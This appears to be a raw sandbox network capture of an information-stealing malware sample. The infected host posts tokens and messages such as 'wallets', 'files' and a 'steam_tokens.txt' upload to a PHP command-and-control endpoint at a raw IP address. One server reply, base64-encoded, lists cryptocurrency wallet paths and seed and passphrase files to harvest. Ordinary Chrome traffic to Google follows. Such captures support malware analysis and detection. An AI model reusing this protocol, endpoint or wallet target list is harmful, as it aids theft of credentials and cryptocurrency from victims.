Oct 31, 2024 03:04:37.400852919 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDAECAEBKJJJKEBKKJD Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 03:04:38.188153028 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 03:04:38.244509935 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="message"wallets------JJJEGHDAECBFHJKEGIJK--
Oct 31, 2024 03:04:38.695240021 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 31, 2024 03:04:38.707465887 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIDBKKKKKFBGDGDHIDBG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 2d 2d 0d 0a Data Ascii: ------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="message"files------GIDBKKKKKFBGDGDHIDBG--
Oct 31, 2024 03:04:38.994133949 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 03:04:39.010603905 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAAEBFHJJDAAKFIECGD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="file"------FCAAEBFHJJDAAKFIECGD--
Oct 31, 2024 03:04:39.794533014 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 03:04:39.825483084 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJEBKECBAKFBGDGCBGD Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 45 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 2d 2d 0d 0a Data Ascii: ------GIJEBKECBAKFBGDGCBGDContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------GIJEBKECBAKFBGDGCBGDContent-Disposition: form-data; name="message"ybncbhylepme------GIJEBKECBAKFBGDGCBGD--
Oct 31, 2024 03:04:40.115010023 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 03:04:40.116266012 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HIDHIEGIIIECAKEBFBAA--
Oct 31, 2024 03:04:40.904850006 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	142.250.186.132	443	7056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:10 UTC	623	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 02:04:10 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:10 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-kGHfWqbY8SsGu2868U_q-w' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 02:04:10 UTC	112	IN	Data Raw: 33 32 37 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 64 65 74 72 6f 69 74 20 6c 69 6f 6e 73 20 67 72 65 65 6e 20 62 61 79 20 70 61 63 6b 65 72 73 22 2c 22 32 30 32 36 20 6b 69 61 20 74 61 73 6d 61 6e 20 74 72 75 63 6b 22 2c 22 64 65 61 64 70 6f 6f 6c 20 77 6f 6c 76 65 72 69 6e 65 20 64 69 73 6e 65 79 20 70 6c 75 73 22 2c 22 6d 6f 6e 6f 70 Data Ascii: 327)]}'["",["detroit lions green bay packers","2026 kia tasman truck","deadpool wolverine disney plus","monop
2024-10-31 02:04:10 UTC	702	IN	Data Raw: 6f 6c 79 20 67 6f 20 6d 79 73 74 65 72 79 20 6d 61 6e 6f 72 20 72 65 77 61 72 64 73 22 2c 22 73 74 61 72 62 75 63 6b 73 20 68 6f 6c 69 64 61 79 20 32 30 32 34 22 2c 22 72 6f 62 65 6c 69 73 20 64 65 73 70 61 69 67 6e 65 20 75 66 63 22 2c 22 6c 69 6e 63 6f 6c 6e 20 6c 61 77 79 65 72 20 73 65 61 73 6f 6e 20 34 20 6e 65 74 66 6c 69 78 22 2c 22 6f 70 65 6e 20 62 65 74 61 20 74 65 73 74 20 6d 6f 6e 73 74 65 72 20 68 75 6e 74 65 72 20 77 69 6c 64 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b Data Ascii: oly go mystery manor rewards","starbucks holiday 2024","robelis despaigne ufc","lincoln lawyer season 4 netflix","open beta test monster hunter wilds"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk
2024-10-31 02:04:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	142.250.186.132	443	7056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:10 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	142.250.186.132	443	7056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:10 UTC	526	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 02:04:10 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 31 Oct 2024 02:04:10 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 02:04:10 UTC	336	IN	Data Raw: 32 32 63 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 22cd)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-31 02:04:10 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-31 02:04:10 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-31 02:04:10 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
